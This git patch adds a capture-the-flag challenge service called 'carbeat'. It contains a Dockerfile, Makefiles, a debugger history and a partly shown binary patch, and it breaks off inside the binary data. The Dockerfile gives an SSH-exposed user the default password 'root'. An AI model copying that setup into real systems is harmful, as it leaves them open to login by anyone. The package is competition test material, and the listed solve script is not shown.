From 404e2a82cb31671f112a5f634b182b9edabf88b8 Mon Sep 17 00:00:00 2001
From: adzkyyy <adzkyyyzakyyy@gmail.com>
Date: Sat, 25 Oct 2025 09:53:39 +0700
Subject: [PATCH] add carbeat

---
 services/carbeat/.gdb_history       |  17 +++
 services/carbeat/Dockerfile         |  32 ++++
 services/carbeat/Makefile           |  18 +++
 services/carbeat/chall/Makefile     |  14 ++
 services/carbeat/chall/mybini       | Bin 0 -> 40848 bytes
 services/carbeat/chall/mybini.cpp   | 227 ++++++++++++++++++++++++++++
 services/carbeat/chall/run.sh       |   3 +
 services/carbeat/dist/carbeat.zip   | Bin 0 -> 12524 bytes
 services/carbeat/docker-compose.yml |  14 ++
 services/carbeat/entrypoint.sh      |  24 +++
 services/carbeat/exploit/solve.py   |  81 ++++++++++
 services/carbeat/mybini.cpp         | 227 ++++++++++++++++++++++++++++
 12 files changed, 657 insertions(+)
 create mode 100644 services/carbeat/.gdb_history
 create mode 100644 services/carbeat/Dockerfile
 create mode 100644 services/carbeat/Makefile
 create mode 100644 services/carbeat/chall/Makefile
 create mode 100644 services/carbeat/chall/mybini
 create mode 100644 services/carbeat/chall/mybini.cpp
 create mode 100644 services/carbeat/chall/run.sh
 create mode 100644 services/carbeat/dist/carbeat.zip
 create mode 100644 services/carbeat/docker-compose.yml
 create mode 100644 services/carbeat/entrypoint.sh
 create mode 100644 services/carbeat/exploit/solve.py
 create mode 100644 services/carbeat/mybini.cpp

diff --git a/services/carbeat/.gdb_history b/services/carbeat/.gdb_history
new file mode 100644
index 0000000..265d401
--- /dev/null
+++ b/services/carbeat/.gdb_history
@@ -0,0 +1,17 @@
+c
+q
+c
+q
+c
+c
+c
+c
+c
+q
+c
+c
+c
+c
+c
+c
+q
diff --git a/services/carbeat/Dockerfile b/services/carbeat/Dockerfile
new file mode 100644
index 0000000..c7e9dfe
--- /dev/null
+++ b/services/carbeat/Dockerfile
@@ -0,0 +1,32 @@
+# Dockerfile
+FROM ubuntu:24.04
+
+# Build-time args
+ARG PASSWORD=root
+ENV DEBIAN_FRONTEND=noninteractive
+WORKDIR /home/ctf/chall
+
+RUN apt-get update && \
+    apt-get install -y --no-install-recommends \
+      make \
+      g++ \
+      socat \
+      build-essential \
+      openssh-server \
+      bash \
+      nano \
+      vim \
+    && rm -rf /var/lib/apt/lists/*
+
+RUN useradd -m -d /home/ctf -s /bin/bash ctf && echo "ctf:${PASSWORD}" | chpasswd
+
+RUN mkdir -p /var/run/sshd
+
+COPY chall/ /home/ctf/chall
+COPY ./entrypoint.sh /entrypoint.sh
+
+RUN chmod +x /entrypoint.sh /home/ctf/chall/run.sh && \
+    chown -R root:root /home/ctf/chall && chmod -R 555 /home/ctf/chall
+
+EXPOSE 9000 22
+CMD ["/entrypoint.sh"]
\ No newline at end of file
diff --git a/services/carbeat/Makefile b/services/carbeat/Makefile
new file mode 100644
index 0000000..c658459
--- /dev/null
+++ b/services/carbeat/Makefile
@@ -0,0 +1,18 @@
+# Makefile for final_gemastik
+# Builds available binaries: mybini (C++), storage (C++), main (C), test (C)
+
+CXX := g++
+CXXFLAGS := -std=c++17 -O2 -Wall -Wextra
+
+# Explicit targets (adjust file names as needed)
+MYBINI_SRCS := mybini.cpp
+
+.PHONY: all clean
+
+all: mybini
+
+mybini: $(MYBINI_SRCS)
+	$(CXX) $(CXXFLAGS) $< -o $@
+
+clean:
+	rm -f mybini *.o
\ No newline at end of file
diff --git a/services/carbeat/chall/Makefile b/services/carbeat/chall/Makefile
new file mode 100644
index 0000000..502b456
--- /dev/null
+++ b/services/carbeat/chall/Makefile
@@ -0,0 +1,14 @@
+CXX := g++
+CXXFLAGS := -std=c++17 -Wall -Wextra
+
+MYBINI_SRCS := mybini.cpp
+
+.PHONY: all clean
+
+all: mybini
+
+mybini: $(MYBINI_SRCS)
+	$(CXX) $(CXXFLAGS) $< -o $@
+
+clean:
+	rm -f mybini *.o
\ No newline at end of file
diff --git a/services/carbeat/chall/mybini b/services/carbeat/chall/mybini
new file mode 100644
index 0000000000000000000000000000000000000000..9de5401cea9ab273ad058aefc15e91d4ae0162fa
GIT binary patch
literal 40848
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
